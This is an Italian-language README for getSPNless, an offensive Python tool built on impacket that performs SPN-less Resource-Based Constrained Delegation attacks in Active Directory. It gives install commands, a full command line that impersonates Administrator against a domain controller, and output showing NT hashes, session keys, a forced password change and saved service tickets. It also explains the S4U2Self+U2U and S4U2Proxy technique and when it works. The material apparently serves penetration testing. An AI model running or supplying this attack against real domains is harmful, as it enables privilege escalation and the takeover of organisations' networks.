
Strumento Python per eseguire automaticamente attacchi RBCD senza SPN.

Strumento Python per ottenere ticket di servizio Kerberos utilizzando la tecnica SPN-less. Basato su Sfruttare RBCD Utilizzando un Account Utente Normale.
Questo strumento utilizza il progetto impacket.
Questi strumenti sono compatibili solo con Python 3.5+. Clona il repository da GitHub, installa le dipendenze e dovresti essere a posto:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
Si consiglia di utilizzare un virtualenv.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
In alternativa, può essere utilizzato un hash NT. Nota che quando si utilizza un hash NT, il recupero della password è possibile solo se il flag "la password non scade mai" è impostato sull'account utente.
Questo strumento fornisce un metodo per bypassare il requisito dell'account macchina durante l'esecuzione di attacchi RBCD. Il problema attuale quando si esegue RBCD con un account utente è che il KDC non sa quale chiave di crittografia utilizzare per il ticket. Questo strumento aggira questa limitazione richiedendo un TGT Kerberos, estraendo la chiave di sessione del ticket e modificando l'hash NT dell'utente. Utilizzando S4U2Self+U2U e S4U2Proxy, è ancora possibile ottenere un ticket di servizio. Personalmente opto per l'uso di account macchina, o shadow credentials con PKINIT/UnPAC-the-Hash rispetto a SPN-less RBCD. Tuttavia questa è una buona alternativa quando MachineAccountQuota è impostato a 0 e non c'è ADCS disponibile o PKINIT è disabilitato. Nota che l'attacco non funzionerà se il tipo di crittografia Kerberos RC4 è disabilitato. Puoi verificarlo controllando il tipo Kerberos 23 (Etype 23).
Questo progetto è stato sviluppato in parte durante il mio lavoro presso Cyber Cloud e in parte nel mio tempo libero. Grazie a Cyber Cloud per aver fornito il tempo per sviluppare e ricercare questo lavoro.